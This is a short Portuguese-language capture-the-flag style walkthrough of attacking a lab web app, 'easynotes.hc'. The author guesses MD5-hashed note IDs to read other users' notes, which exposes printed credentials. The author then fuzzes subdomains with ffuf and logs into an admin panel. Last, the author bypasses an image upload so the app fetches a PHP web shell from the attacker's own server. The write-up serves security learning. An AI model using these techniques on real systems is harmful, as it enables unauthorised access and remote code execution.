Tive que colocar lá no /etc/hosts
172.16.0.239 easynotes.hc
Após isso, criei uma conta!
Criei uma anotação, ao clicar nela, percebo que a url fica
http://easynotes.hc/notes?id=c20ad4d76fe97759aa27a0c99bff6710
Percebi que era um MD5, joguei no hashes.com! Lá ao decriptografar, o numero 12 aparece!
Então começo a tentar fazer um brute force no id, transformando os numeros em MD5
echo -n "5" | md5sum
e4da3b7fbbce2345d7772b0674a318d5
http://easynotes.hc/notes?id=e4da3b7fbbce2345d7772b0674a318d5
#Consegui achar algumas informações sensiveis
Hello John, I hope you are well. When testing the app, dont forget to also test
subdomain. Our developer is on vacation but completed several features before
leaving. He also created the login credentials before he left, so you
should have everything you need to run the tests.
Credentials: usercybersec:cybersec@123
Once you see this note, don't forget to delete it. Att, Easynotes Team
Então apos ler isso começo a fazer um brute force de sub-diretorios
ffuf -H "Host: FUZZ.easynotes.hc" -u http://easynotes.hc -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 20
#Tive que colocar o #-fw 20, pois aparecei um monte de subdiretorios que realmente nao e
Consegui achar o “admin.easynotes.hc”, joguei la no /etc/hosts e entre com a credencial que tinhamos “usercybersec:cybersec@123”
Apos isso estou tentando subir uma imagem no perfil
#Conseguimos burlar o sistema passando o
http://10.0.45.76/shell.php#.png
#Lembrando que você tem que ter o arquivo shell.php, subir a porta 80
python3 -m http.server 80